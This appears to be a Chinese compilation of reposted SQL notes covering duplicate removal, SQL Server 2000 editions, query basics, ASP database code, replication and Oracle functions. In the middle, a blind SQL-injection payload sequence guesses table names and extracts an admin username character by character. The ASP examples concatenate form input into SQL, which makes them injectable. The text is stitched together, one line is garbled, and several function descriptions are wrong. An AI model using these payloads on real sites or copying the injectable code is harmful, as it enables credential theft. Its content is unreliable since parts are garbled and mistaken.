数据库的使用过程中由于程序方面的问题有时候会碰到重复数据,重复数据导致了数据库部分设置不能正确设置……

方法一

declare @max integer,@id integer
declare cur_rows cursor local for select 主字段,count(*) from 表名 group by 主字段 having count(*) > 1
open cur_rows
fetch cur_rows into @id,@max
while @@fetch_status=0
begin
select @max = @max -1
set rowcount @max
delete from 表名 where 主字段 = @id
fetch cur_rows into @id,@max
end
close cur_rows
set rowcount 0

方法二

有两个意义上的重复记录,一是完全重复的记录,也即所有字段均重复的记录,二是部分关键字段重复的记录,比如Name字段重复,而其他字段不一定重 复或都重复可以忽略。

1、对于第一种重复,比较容易解决,使用

select distinct * from tableName

就可以得到无重复记录的结果集。

如果该表需要删除重复的记录(重复记录保留1条),可以按以下方法删除

select distinct * into #Tmp from tableName
drop table tableName
select * into tableName from #Tmp
drop table #Tmp

发生这种重复的原因是表设计不周产生的,增加唯一索引列即可解决。

2、这类重复问题通常要求保留重复记录中的第一条记录,操作方法如下

假设有重复的字段为Name,Address,要求得到这两个字段唯一的结果集

select identity(int,1,1) as autoID, * into #Tmp from tableName
select min(autoID) as autoID into #Tmp2 from #Tmp group by Name,autoID
select * from #Tmp where autoID in(select autoID from #tmp2)

最后一个select即得到了Name,Address不重复的结果集(但多了一个autoID字段,实际写时可以写在select子句中省去此 列)

  对于新接触SQL数据库的人来说,类似这几个问题的有关于SQL版本的问题可以说不少,但又懒得去仔细研究。问题虽然简单,可是影响却不小……

  版本区别

  SQL Server 2000有四个版本:企业版/标准版/个人版/开发版

  企业版和标准版需要安装在服务器操作系统上,如Windows NT Server / Windows 2000 Server / Windows 2003 Server 等。

  个人版需要安装在个人操作系统上,如Windows98 / Windows 2000 Professional / Windows XP Home / Windows XP Professional 等。

  开发版可以安装在任何微软的操作系统上。

  SQL Server 2000 企业版

  作为生产数据库服务器使用。支持 SQL Server 2000 中的所有可用功能,并可根据支持最大的 Web 站点和企业联机事务处理 (OLTP) 及数据仓库系统所需的性能水平进行伸缩。

  SQL Server 2000 标准版

  作为小工作组或部门的数据库服务器使用。

  SQL Server 2000 个人版

  供移动的用户使用,这些用户有时从网络上断开,但所运行的应用程序需要 SQL Server 数据存储。在客户端计算机上运行需要本地 SQL Server 数据存储的独立应用程序时也使用个人版。

  SQL Server 2000 开发版

  供程序员用来开发将 SQL Server 2000 用作数据存储的应用程序。虽然开发版支持企业版的所有功能,使开发人员能够编写和测试可使用这些功能的应用程序,但是只能将开发版作为开发和测试系统使用,不能作为生产服务器使用。

  SQL Server 2000 Windows CE 版

  使用 Microsoft® SQL Server 2000™ Windows® CE 版 (SQL Server CE) 在 Windows CE 设备上进行数据存储。能用任何版本的 SQL Server 2000 复制数据,以使 Windows CE 数据与主数据库保持同步。

  SQL Server 2000 企业评估版

  可从 Web 上免费下载的功能完整的版本。仅用于评估 SQL Server 功能;下载 120 天后该版本将停止运行。

  除了这些版本的 SQL Server 2000 之外,SQL Server 2000 Desktop Engine 组件允许应用程序开发人员用他们的应用程序分发 SQL Server 2000 关系数据库引擎的复本。因为 SQL Server 2000 Desktop Engine 中的数据库引擎的功能与 SQL Server 各版本中的数据库引擎相似,所以 Desktop Engine 数据库的大小不能超过 2 GB。

  版本兼容性:

  下面是这几个版本的简单对比:

  SQL Server 包括企业版,标准版,个人版,开发版,桌面引擎(MSDE),评估版,CE版。

  1. 评估版用于评估,CE版用于Windows CE, 就不多说了。

  2. 从功能上,企业版和开发版是一对,标准版和个人版是一对。企业版和开发版主要用于大用户,可以支持更多的CPU,内存,可以支持集群(Cluster),日志传输(log shipping),并行DBCC, 并行创建索引,索引视图等高级功能。

  3. 从安装上看,企业版和标准版是一对,个人版,开发版和桌面引擎是一组,企业版和标准版只能安装在Windows的Server版(NT, 2000, 2003)上, 个人版,开发版和桌面引擎可以安装在更多的系统(包括NT Workstation, 2000 professional, XP 等。98只能安装个人版或桌面引擎,但桌面引擎得数据库不能超过2G)。

  4. 投入运行时使用企业版,标准版或桌面引擎,(个人版,开发版分别用于对应标准版,企业版的开发)。

  关于标准版和企业版两者之间的差别,主要体现在:

  1.是否支持MSCS群集

  2.是否支持全文索引

  3.是否支持分布式分区视图

  4.是否支持日志传送

  5.是否支持索引视图的CPU利用

  企业版提供最高的可用性,稳定性和并发 个人版和MSDE中硬性填入某些代码使得并发用户在五个以上之后性能大打折扣。

  标准版:

  数据库引擎功能缺少故障转移群集(最多四个节点)、支持SQL Server企业管理器中的故障转移、日志传送、并行DBCC、并行CREATE INDEX、增强的预读和扫描、索引视图、联合数据库服务器、支持系统区域网络 (SAN)、支持语言设置的图形实用工具,对于Analysis Services缺少用户定义OLAP分区、分区向导、链接OLAP多维数据集、ROLAP 维度支持、支持HTTP Internet、计算单元、回写到维度、支持超大型维度、实时 OLAP、分布式分区多维数据集,win2000下最大只支持4个CPU的SMP,NT下最大只支持8个CPU(企业版)

  买10个授权是不可以上20个用户的(一般是限制并发用户数,连接数决定于OS)

  企业版:

  作为生产数据库服务器使用。支持SQL SERVER 2000中的所有可用功能,并根据支持最大的Web站点和企业联机事务处理(OLTP及数据仓库系统所需要的性能水平进行伸缩。

 

检测可否注入
http://127.0.0.1/xx?id=11 and 1=1 (正常页面)
http://127.0.0.1/xx?id=11 and 1=2 (出错页面)

检测表段的
http://127.0.0.1/xx?id=11 and exists (select * from admin)

检测字段的
http://127.0.0.1/xx?id=11 and exists (select username from admin)

检测ID
http://127.0.0.1/xx?id=11 and exists (select id from admin where ID=1)

检测长度的
http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)

检测长度的
http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)

检测是否为MSSQL数据库
http://127.0.0.1/xx?id=11 and exists (select * from sysobjects)

检测是否为英文

(ACCESS数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)

(MSSQL数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1)

检测英文的范围

(ACCESS数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)

(MSSQL数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)

检测那个字符

(ACCESS数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)

(MSSQL数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)

常用函数

Access:asc(字符) SQLServer:unicode(字符)
作用:返回某字符的ASCII码

Access:chr(数字) SQLServer:nchar(数字)
作用:与asc相反,根据ASCII码返回字符

Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

Access:abc(数字) SQLServer:abc (数字)
作用:返回数字的绝对值(在猜解汉字的时候会用到)

Access:A between B And C SQLServer:A between B And C
作用:判断A是否界于B与C之间

and exists(Select top 1 * From 用户 order by id)

1.在查询结果中显示列名:

a.用as关键字:select name as ’姓名’ from students order by age
b.直接表示:select name ’姓名’ from students order by age

2.精确查找:

a.用in限定范围:select * from students where native in (’湖南’, ’四川’)
b.between…and:select * from students where age between 20 and 30

c.“=”:select * from students where name = ’李山’

d. like:select * from students where name like ’李%’ (注意查询条件中有“%”,则说明是部分匹配,而且还有先后信息在里面,即查找以“李”开头的匹配项。所以若查询有“李”的所有对象,应该命令:’%李%’;若是第二个字为李,则应为’_李%’或’_李’或’_李_’。)

e.[]匹配检查符:select * from courses where cno like ’[AC]%’ (表示或的关系,与"in(…)"类似,而且"[]"可以表示范围,如:select * from courses where cno like ’[A-C]%’)

3.对于时间类型变量的处理

a.smalldatetime:直接按照字符串处理的方式进行处理,例如:select * from students where birth > = ’1980-1-1’ and birth <= ’1980-12-31’

4.集函数

a.count()求和,如:select count(*) from students (求学生总人数)
b.avg(列)求平均,如:select avg(mark) from grades where cno=’B2’
c.max(列)和min(列),求最大与最小

5.分组group

常用于统计时,如分组查总数:select gender,count(sno) from students group by gender(查看男女学生各有多少)
注意:从哪种角度分组就从哪列"group by"
对于多重分组,只需将分组规则罗列。比如查询各届各专业的男女同学人数 ,那么分组规则有:届别(grade)、专业(mno)和
性别(gender),所以有"group by grade, mno, gender"
select grade, mno, gender, count(*) from students group by grade, mno, gender
通常group还和having联用,比如查询1门课以上不及格的学生,则按学号(sno)分类有:
select sno,count(*) from grades where mark<60 group by sno having count(*)>1

6.UNION联合

合并查询结果,如:
SELECT * FROM students WHERE name like ‘张%’UNION [ALL] SELECT * FROM students WHERE name like ‘李%’

7.多表查询

a.内连接
select g.sno,s.name,c.coursename from grades g JOIN students s ON g.sno=s.sno JOIN courses c ON g.cno=c.cno
(注意可以引用别名)

b.外连接

b1.左连接

select courses.cno,max(coursename),count(sno) from courses LEFT JOIN grades ON courses.cno=grades.cno group by courses.cno

左连接特点:显示全部左边表中的所有项目,即使其中有些项中的数据未填写完全。

左外连接返回那些存在于左表而右表中却没有的行,再加上内连接的行。

b2.右连接

与左连接类似

b3.全连接

select sno,name,major from students FULL JOIN majors ON students.mno=majors.mno

两边表中的内容全部显示

c.自身连接

select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses c2 where c1.pno=c2.cno

采用别名解决问题。

d.交*连接

select lastname+firstname from lastname CROSS JOIN firstanme

相当于做笛卡儿积

8.嵌套查询

a.用关键字IN,如查询猪猪山的同乡:

select * from students where native in (select native from students where name=’猪猪’)

b.使用关键字EXIST,比如,下面两句是等价的:

select * from students where sno in (select sno from grades where cno=’B2’)
select * from students where exists (select * from grades where grades.sno=students.sno AND cno=’B2’)

9.关于排序order

a.对于排序order,有两种方法:asc升序和desc降序

b.对于排序order,可以按照查询条件中的某项排列,而且这项可用数字表示,如:
select sno,count(*) ,avg(mark) from grades group by sno having avg(mark)>85 order by 3

10.其他

a.对于有空格的识别名称,应该用"[]"括住。

b.对于某列中没有数据的特定查询可以用null判断,如select sno,courseno from grades where mark IS NULL

c.注意区分在嵌套查询中使用的any与all的区别,any相当于逻辑运算“  ”而all则相当于逻辑运算“&&”

d.注意在做否定意义的查询是小心进入陷阱:

如,没有选修‘B2’课程的学生 :
select students.* from students, grades where students.sno=grades.sno AND grades.cno <> ’B2’

上面的查询方式是错误的,正确方式见下方:
select * from students where not exists (select * from grades where grades.sno=students.sno AND cno=’B2’)

11.关于有难度多重嵌套查询的解决思想:如,选修了全睝@纬痰难?br>select * from students where not exists (select * from courses where NOT EXISTS (select * from grades where sno=students.sno AND cno=courses.cno))

最外一重:从学生表中选,排除那些有课没选的。用not exist。由于讨论对象是课程,所以第二重查询从course表中找,排除那些选了课的即可

  编辑注:学会了这些东西,您将基本可以独立完成ASP对数据库的所有操作。

  ASP连接数据库的11种方法——本文总结了使用ASP链接各种数据库的方法:

  1.Access数据库的DSN-less连接方法:

  set adocon=Server.Createobject("adodb.connection")

  adoconn.Open"Driver={Microsoft Access Driver(*.mdb)};DBQ="& _

  Server.MapPath("数据库所在路径")

  2.Access OLE DB连接方法:

  set adocon=Server.Createobject("adodb.connection")

  adocon.open"Provider=Microsoft.Jet.OLEDB.4.0;"& _

  "Data Source=" & Server.MapPath("数据库所在路径")

  3.SQL server连接方法:

  set adocon=server.createobject("adodb.recordset")

  adocon.Open"Driver={SQL Server};Server=(Local);UID=***;PWD=***;"& _

  "database=数据库名;"

  4.SQL server OLE DB连接方法:

  set adocon=Server.Createobject("adodb.connection")

  adocon.open"provider=SQLOLEDB.1;Data Source=RITANT4;"& _

  "user ID=***;Password=***;"& _

  "inital Catalog=数据库名"

  5.Oracle 连接方法:

  set adocon=Server.Createobject("adodb.connection")

  adocon.open"Driver={microsoft odbc for oracle};server=oraclesever.world;uid=admin;pwd=pass;"

  6.Oracle OLE DB 连接方法:

  set adocon=Server.Createobject("adodb.connection")

  adocon.open"Provider=OraOLEDB.Oracle;data source=dbname;user id=admin;password=pass;"

  7.dBase 连接方法:

  set adocon=Server.Createobject("adodb.connection")

  adocon.open"Driver={microsoft dbase driver(*.dbf)};driverid=277;dbq=————;"

  8.mySQL 连接方法:

  set adocon=Server.Createobject("adodb.connection")

  adocon.open"Driver={mysql};database=yourdatabase;

  uid=username;pwd=yourpassword;option=16386;"

  9.Visual Foxpro 连接方法:

  set adocon=Server.Createobject("adodb.connection")

  adocon.open"Driver={microsoft Visual Foxpro driver};sourcetype=DBC;sourceDB=*.dbc;Exclusive=No;"

  10.MS text 连接方法:

  set adocon=Server.Createobject("adodb.connection")

  adocon.open"Driver={microsoft text driver(*.txt; *.csv)};dbq=—–;"&_

  "extensions=asc,csv,tab,txt;Persist SecurityInfo=false;"

  11.MS text OLE DB 连接方法:

  set adocon=Server.Createobject("adodb.connection")

  adocon.open"Provider=microsof.jet.oledb.4.0;data source=your_path;"&_

  "Extended Properties‘text;FMT=Delimited‘"

  <二>常用的四种SQL命令:

  1.查询数据记录(Select)

  语法:Select 字段串行 From table Where 字段=内容

  例子:想从book表中找出作者为"cancer"的所有记录,SQL语句便如下:

  select * from book where author=’cancer’

  "*"是取出book表所有的字段,如查询的字段值为数字,则其后的"内容"便无须加上单引号,如是日期,则在Access中用(#)包括,而在SQL server中则用(’)包括,

  如:

  select * from book where id=1

  select * from book where pub_date=#2002-1-7# (Access)

  select * from book where pub_date=’2002-1-7’ (SQL Server)

  提示:

  日期函数to_date不是标准sql文,不是所有的数据库适用,所以大家在使用的时候要参考数据库具体语法

  另外如果是查询传入的变量,则如下:

  strau=request.form("author")

  strsql="select * from book where author=’"&strau&"’"

  如果查询的是数字,则:

  intID=request.form("id")

  strsql="select * from book where id="&intID

  在很多数据库中,如:oracle,上面的语句是可以写成:

  strsql="select * from book where id=‘"&intID&"‘"

  但是字符型一定不能按照数字格式写,需要注意。

  2.添加记录(Insert)

  语法:

  Insert into table(field1,field2,….) Values (value1,value2,….)

  例子:添加一作者是"cancer"的记录入book表:

  insert into book (bookno,author,bookname) values (’CF001’,’cancer’,’Cancer无组件上传程序’)

  同样,如果用到变量就如下:

  strno=request.form("bookno")

  strau=request.form("author")

  strname=request.form("bookname")

  strsql="insert into book (bookno,author,bookname) values (’"&strno&"’,’"&strau&"’,’"&strname&"’)"

  3.用Recordset对象的Addnew插入数据的方法:

  语法:

  rs.addnew

  rs("field1").value=value1

  rs("field2").value=value2

  …

  rs.update

  4.修改数据记录(Update)

  语法:

  update table set field1=value1,field2=value2,…where fieldx=valuex

  例子:

  update book set author=’babycrazy’ where bookno=’CF001’

  如果用到变量就如下:

  strno=request.form("bookno")

  strau=request.form("author")

  strsql="update book set author=’"&strau&"’ where bookno=’"&strno"’"

  5.Recordset对象的Update方法:

  语法:

  rs("field1").value=value1

  rs("field2").value=value2

  …

  rs.update

  注意:使用语法3和语法5的时候,一定要注意字段的类型(尤其是日期型)一致,否则出错的几率非常的高。

  例子:

  strno=request.form("bookno")

  strau=request.form("author")

  set adocon=server.createobject("adodb.connection")

  adocon.open "Driver={Microsoft Access Driver(*.mdb)};DBQ=" & _

  Server.Mappath=("/cancer/cancer.mdb")

  strsql="select * from book where bookno=’"&strno&"’"

  set rs=server.createobject("adodb.recordset")

  rs.open strsql,adconn,1,3

  if not rs.eof then ’如果有此记录的话

  rs("author").value=strau

  rs.update

  end if

  rs.close

  set rs=nothing

  adocon.close

  set adocon=nothing

  6.删除一条记录(Delete)

  语法:

  Delete table where field=value

  例子:删除book表中作者是cancer的记录

  delete book where author=’cancer’

  (注意:如果book表中author字段的值为cancer的记录有多条,将会删除所有author为cancer的记录)

  好了,学会了用这些操作,大家在用asp操作数据库的时候,该是没有什么问题了。

复制的概念
  
  复制是将一组数据从一个数据源拷贝到多个数据源的技术,是将一份数据发布到多个存储站点上的有效方式。使用复制技术,用户可以将一份数据发布到多台服务器上,从而使不同的服务器用户都可以在权限的许可的范围内共享这份数据。复制技术可以确保分布在不同地点的数据自动同步更新,从而保证数据的一致性。
  
  SQL复制的基本元素包括
  
  出版服务器、订阅服务器、分发服务器、出版物、文章
  
  SQL复制的工作原理
  
  SQL SERVER 主要采用出版物、订阅的方式来处理复制。源数据所在的服务器是出版服务器,负责发表数据。出版服务器把要发表的数据的所有改变情况的拷贝复制到分发服务器,分发服务器包含有一个分发数据库,可接收数据的所有改变,并保存这些改变,再把这些改变分发给订阅服务器
  
  SQL SERVER复制技术类型
  
  SQL SERVER提供了三种复制技术,分别是:
  
  1、快照复制(呆会我们就使用这个)
  2、事务复制
  3、合并复制
  
  只要把上面这些概念弄清楚了那么对复制也就有了一定的理解。接下来我们就一步一步来实现复制的步骤。
  
  第一先来配置出版服务器
  
  (1)选中指定[服务器]节点
  (2)从[工具]下拉菜单的[复制]子菜单中选择[发布、订阅服务器和分发]命令
  (3)系统弹出一个对话框点[下一步]然后看着提示一直操作到完成。
  (4)当完成了出版服务器的设置以后系统会为该服务器的树形结构中添加一个复制监视器。同时也生成一个分发数据库(distribution)
  
  第二创建出版物
  
  (1)选中指定的服务器
  (2)从[工具]菜单的[复制]子菜单中选择[创建和管理发布]命令。此时系统会弹出一个对话框
  (3)选择要创建出版物的数据库,然后单击[创建发布]
  (4)在[创建发布向导]的提示对话框中单击[下一步]系统就会弹出一个对话框。对话框上的内容是复制的三个类型。我们现在选第一个也就是默认的快照发布(其他两个大家可以去看看帮助)
  (5)单击[下一步]系统要求指定可以订阅该发布的数据库服务器类型,SQLSERVER允许在不同的数据库如 ORACLE或ACCESS之间进行数据复制。但是在这里我们选择运行"SQL SERVER 2000"的数据库服务器
  (6)单击[下一步]系统就弹出一个定义文章的对话框也就是选择要出版的表
  (7)然后[下一步]直到操作完成。当完成出版物的创建后创建出版物的数据库也就变成了一个共享数据库。
  
  第三设计订阅
  
  (1)选中指定的订阅服务器
  (2)从[工具]下拉菜单中选择[复制]子菜单的[请求订阅]
  (3)按照单击[下一步]操作直到系统会提示检查SQL SERVER代理服务的运行状态,执行复制操作的前提条件是SQL SERVER代理服务必须已经启动。
  (4)单击[完成]。完成订阅操作。
  
  完成上面的步骤其实复制也就是成功了。但是如何来知道复制是否成功了呢?这里可以通过这种方法来快速看是否成功。展开出版服务器下面的复制——发布内容——右键发布内容——属性——击活——状态然后点立即运行代理程序接着点代理程序属性击活调度把调度设置为每一天发生,每一分钟,在0:00:00和23:59:59之间。接下来就是判断复制是否成功了打开C:Program FilesMicrosoft SQL ServerMSSQLREPLDATAuncXIAOWANGZI_database_database下面看是不是有一些以时间做为文件名的文件夹差不多一分中就产生一个。要是你还不信的话就打开你的数据库看在订阅的服务器的指定订阅数据库下看是不是看到了你刚才所发布的表—

  一个手工同步的方案
  
  –定时同步服务器上的数据
  
  –例子:
  
  –测试环境,SQL Server2000,远程服务器名:xz,用户名为:sa,无密码,测试数据库:test
  
  –服务器上的表(查询分析器连接到服务器上创建)
  
  create table [user](id int primary key,number varchar(4),name varchar(10))
  go
  
  –以下在局域网(本机操作)
  
  –本机的表,state说明:null 表示新增记录,1 表示修改过的记录,0 表示无变化的记录
  
  if exists (select * from dbo.sysobjects where id = object_id(N‘[user]‘) and OBJECTPROPERTY(id, N‘IsUserTable‘) = 1)
  drop table [user]
  GO
  create table [user](id int identity(1,1),number varchar(4),name varchar(10),state bit)
  go
  
  –创建触发器,维护state字段的值
  
  create trigger t_state on [user]
  after update
  as
  update [user] set state=1
  from [user] a join inserted b on a.id=b.id
  where a.state is not null
  go
  
  –为了方便同步处理,创建链接服务器到要同步的服务器
  
  –这里的远程服务器名为:xz,用户名为:sa,无密码
  
  if exists(select 1 from master..sysservers where srvname=‘srv_lnk‘)
  exec sp_dropserver ‘srv_lnk‘,‘droplogins‘
  go
  exec sp_addlinkedserver ‘srv_lnk‘,‘‘,‘SQLOLEDB‘,‘xz‘
  exec sp_addlinkedsrvlogin ‘srv_lnk‘,‘false‘,null,‘sa‘
  go
  
  –创建同步处理的存储过程
  
  if exists (select * from dbo.sysobjects where id = object_id(N‘[dbo].[p_synchro]‘) and OBJECTPROPERTY(id, N‘IsProcedure‘) = 1)
  drop procedure [dbo].[p_synchro]
  GO
  create proc p_synchro
  as
  –set XACT_ABORT on
  
  –启动远程服务器的MSDTC服务
  
  –exec master..xp_cmdshell ‘isql /S"xz" /U"sa" /P"" /q"exec master..xp_cmdshell ‘‘net start msdtc‘‘,no_output"‘,no_output
  
  –启动本机的MSDTC服务
  
  –exec master..xp_cmdshell ‘net start msdtc‘,no_output
  
  –进行分布事务处理,如果表用标识列做主键,用下面的方法
  
  –BEGIN DISTRIBUTED TRANSACTION

  –同步删除的数据
  
  delete from srv_lnk.test.dbo.[user]
  where id not in(select id from [user])
  
  –同步新增的数据
  
  insert into srv_lnk.test.dbo.[user]
  select id,number,name from [user] where state is null
  
  –同步修改的数据
  
  update srv_lnk.test.dbo.[user] set
  number=b.number,name=b.name
  from srv_lnk.test.dbo.[user] a
  join [user] b on a.id=b.id
  where b.state=1
  
  –同步后更新本机的标志
  
  update [user] set state=0 where isnull(state,1)=1
  –COMMIT TRAN
  go
  
  –创建作业,定时执行数据同步的存储过程
  
  if exists(SELECT 1 from msdb..sysjobs where name=‘数据处理‘)
  EXECUTE msdb.dbo.sp_delete_job @job_name=‘数据处理‘
  exec msdb..sp_add_job @job_name=‘数据处理‘
  
  –创建作业步骤
  
  declare @sql varchar(800),@dbname varchar(250)
  select @sql=‘exec p_synchro‘ –数据处理的命令
  ,@dbname=db_name() –执行数据处理的数据库名
  exec msdb..sp_add_jobstep @job_name=‘数据处理‘,
  @step_name = ‘数据同步‘,
  @subsystem = ‘TSQL‘,
  @database_name=@dbname,
  @command = @sql,
  @retry_attempts = 5, –重试次数
  @retry_interval = 5 –重试间隔
  
  –创建调度
  
  EXEC msdb..sp_add_jobschedule @job_name = ‘数据处理‘,
  @name = ‘时间安排‘,
  @freq_type = 4, –每天
  @freq_interval = 1, –每天执行一次
  @active_start_time = 00000 –0点执行
  go

SQL中的单记录函数
1.ASCII
返回与指定的字符对应的十进制数;
SQL> select ascii(‘A‘) A,ascii(‘a‘) a,ascii(‘0‘) zero,ascii(‘ ‘) space from dual;

A         A      ZERO     SPACE
——— ——— ——— ———
65        97        48        32

2.CHR
给出整数,返回对应的字符;
SQL> select chr(54740) zhao,chr(65) chr65 from dual;

ZH C
— –
赵 A

3.CONCAT
连接两个字符串;
SQL> select concat(‘010-‘,‘88888888‘)||‘转23‘  高乾竞电话 from dual;

高乾竞电话
—————-
010-88888888转23

4.INITCAP
返回字符串并将字符串的第一个字母变为大写;
SQL> select initcap(‘smith‘) upp from dual;

UPP
—–
Smith

5.INSTR(C1,C2,I,J)
在一个字符串中搜索指定的字符,返回发现指定的字符的位置;
C1    被搜索的字符串
C2    希望搜索的字符串
I     搜索的开始位置,默认为1
J     出现的位置,默认为1
SQL> select instr(‘oracle traning‘,‘ra‘,1,2) instring from dual;

INSTRING
———
9

6.LENGTH
返回字符串的长度;
SQL> select name,length(name),addr,length(addr),sal,length(to_char(sal)) from .nchar_tst;

NAME   LENGTH(NAME) ADDR             LENGTH(ADDR)       SAL LENGTH(TO_CHAR(SAL))
—— ———— —————- ———— ——— ——————–
高乾竞            3 北京市海锭区                6   9999.99                    7

 

7.LOWER
返回字符串,并将所有的字符小写
SQL> select lower(‘AaBbCcDd‘)AaBbCcDd from dual;

AABBCCDD
——–
aabbccdd

8.UPPER
返回字符串,并将所有的字符大写
SQL> select upper(‘AaBbCcDd‘) upper from dual;

UPPER
——–
AABBCCDD

 

9.RPAD和LPAD(粘贴字符)
RPAD  在列的右边粘贴字符
LPAD  在列的左边粘贴字符
SQL> select lpad(rpad(‘gao‘,10,‘*‘),17,‘*‘)from dual;

LPAD(RPAD(‘GAO‘,1
—————–
*******gao*******
不够字符则用*来填满

10.LTRIM和RTRIM
LTRIM  删除左边出现的字符串
RTRIM  删除右边出现的字符串
SQL> select ltrim(rtrim(‘   gao qian jing   ‘,‘ ‘),‘ ‘) from dual;

LTRIM(RTRIM(‘
————-
gao qian jing

11.SUBSTR(string,start,count)
取子字符串,从start开始,取count个
SQL> select substr(‘13088888888‘,3,8) from dual;

SUBSTR(‘
——–
08888888

12.REPLACE(‘string‘,‘s1‘,‘s2‘)
string   希望被替换的字符或变量
s1       被替换的字符串
s2       要替换的字符串
SQL> select replace(‘he love you‘,‘he‘,‘i‘) from dual;

REPLACE(‘HELOVEYOU‘,‘HE‘,‘I‘)
——————————
i love you

13.SOUNDEX
返回一个与给定的字符串读音相同的字符串
SQL> create table table1(xm varchar(8));
SQL> insert into table1 values(‘weather‘);
SQL> insert into table1 values(‘wether‘);
SQL> insert into table1 values(‘gao‘);

SQL> select xm from table1 where soundex(xm)=soundex(‘weather‘);

XM
——–
weather
wether

14.TRIM(‘s‘ from ‘string‘)
LEADING   剪掉前面的字符
TRAILING  剪掉后面的字符
如果不指定,默认为空格符

15.ABS
返回指定值的绝对值
SQL> select abs(100),abs(-100) from dual;

ABS(100) ABS(-100)
——— ———
100       100

16.ACOS
给出反余弦的值
SQL> select acos(-1) from dual;

ACOS(-1)
———
3.1415927

17.ASIN
给出反正弦的值
SQL> select asin(0.5) from dual;

ASIN(0.5)
———
.52359878

18.ATAN
返回一个数字的反正切值
SQL> select atan(1) from dual;

ATAN(1)
———
.78539816

19.CEIL
返回大于或等于给出数字的最小整数
SQL> select ceil(3.1415927) from dual;

CEIL(3.1415927)
—————
      4

20.COS
返回一个给定数字的余弦
SQL> select cos(-3.1415927) from dual;

COS(-3.1415927)
—————
     -1

21.COSH
返回一个数字反余弦值
SQL> select cosh(20) from dual;

COSH(20)
———
242582598

22.EXP
返回一个数字e的n次方根
SQL> select exp(2),exp(1) from dual;

EXP(2)    EXP(1)
——— ———
7.3890561 2.7182818

23.FLOOR
对给定的数字取整数
SQL> select floor(2345.67) from dual;

FLOOR(2345.67)
————–
  2345

24.LN
返回一个数字的对数值
SQL> select ln(1),ln(2),ln(2.7182818) from dual;

LN(1)     LN(2) LN(2.7182818)
——— ——— ————-
0 .69314718     .99999999

25.LOG(n1,n2)
返回一个以n1为底n2的对数
SQL> select log(2,1),log(2,4) from dual;

LOG(2,1)  LOG(2,4)
——— ———
0         2

26.MOD(n1,n2)
返回一个n1除以n2的余数
SQL> select mod(10,3),mod(3,3),mod(2,3) from dual;

MOD(10,3)  MOD(3,3)  MOD(2,3)
——— ——— ———
1         0         2

27.POWER
返回n1的n2次方根
SQL> select power(2,10),power(3,3) from dual;

POWER(2,10) POWER(3,3)
———– ———-
1024         27

28.ROUND和TRUNC
按照指定的精度进行舍入
SQL> select round(55.5),round(-55.4),trunc(55.5),trunc(-55.5) from dual;

ROUND(55.5) ROUND(-55.4) TRUNC(55.5) TRUNC(-55.5)
———– ———— ———– ————
 56          -55          55          -55

29.SIGN
取数字n的符号,大于0返回1,小于0返回-1,等于0返回0
SQL> select sign(123),sign(-100),sign(0) from dual;

SIGN(123) SIGN(-100)   SIGN(0)
——— ———- ———
1         -1         0

30.SIN
返回一个数字的正弦值
SQL> select sin(1.57079) from dual;

SIN(1.57079)
————
   1

31.SIGH
返回双曲正弦的值
SQL> select sin(20),sinh(20) from dual;

 

SIN(20)  SINH(20)
——— ———
.91294525 242582598

32.SQRT
返回数字n的根
SQL> select sqrt(64),sqrt(10) from dual;

SQRT(64)  SQRT(10)
——— ———
8 3.1622777

33.TAN
返回数字的正切值
SQL> select tan(20),tan(10) from dual;

TAN(20)   TAN(10)
——— ———
2.2371609 .64836083

34.TANH
返回数字n的双曲正切值
SQL> select tanh(20),tan(20) from dual;

TANH(20)   TAN(20)
——— ———
1 2.2371609

 

35.TRUNC
按照指定的精度截取一个数
SQL> select trunc(124.1666,-2) trunc1,trunc(124.16666,2) from dual;

TRUNC1 TRUNC(124.16666,2)
——— ——————
100             124.16

 

36.ADD_MONTHS
增加或减去月份
SQL> select to_char(add_months(to_date(‘199912‘,‘yyyymm‘),2),‘yyyymm‘) from dual;

TO_CHA
——
200002
SQL> select to_char(add_months(to_date(‘199912‘,‘yyyymm‘),-2),‘yyyymm‘) from dual;

TO_CHA
——
199910

37.LAST_DAY
返回日期的最后一天
SQL> select to_char(sysdate,‘yyyy.mm.dd‘),to_char((sysdate)+1,‘yyyy.mm.dd‘) from dual;

TO_CHAR(SY TO_CHAR((S
———- ———-
2004.05.09 2004.05.10
SQL> select last_day(sysdate) from dual;

LAST_DAY(S
———-
31-5月 -04

38.MONTHS_BETWEEN(date2,date1)
给出date2-date1的月份
SQL> select months_between(‘19-12月-1999‘,‘19-3月-1999‘) mon_between from dual;

MON_BETWEEN
———–
  9
SQL>selectmonths_between(to_date(‘2000.05.20‘,‘yyyy.mm.dd‘),to_date(‘2005.05.20‘,‘yyyy.dd‘)) mon_betw from dual;

MON_BETW
———
-60

39.NEW_TIME(date,‘this‘,‘that‘)
给出在this时区=other时区的日期和时间
SQL> select to_char(sysdate,‘yyyy.mm.dd hh24:mi:ss‘) bj_time,to_char(new_time
2  (sysdate,‘PDT‘,‘GMT‘),‘yyyy.mm.dd hh24:mi:ss‘) los_angles from dual;

BJ_TIME             LOS_ANGLES
——————- ——————-
2004.05.09 11:05:32 2004.05.09 18:05:32

40.NEXT_DAY(date,‘day‘)
给出日期date和星期x之后计算下一个星期的日期
SQL> select next_day(‘18-5月-2001‘,‘星期五‘) next_day from dual;

NEXT_DAY
———-
25-5月 -01

 

41.SYSDATE
用来得到系统的当前日期
SQL> select to_char(sysdate,‘dd-mm-yyyy day‘) from dual;

TO_CHAR(SYSDATE,‘
—————–
09-05-2004 星期日
trunc(date,fmt)按照给出的要求将日期截断,如果fmt=‘mi‘表示保留分,截断秒
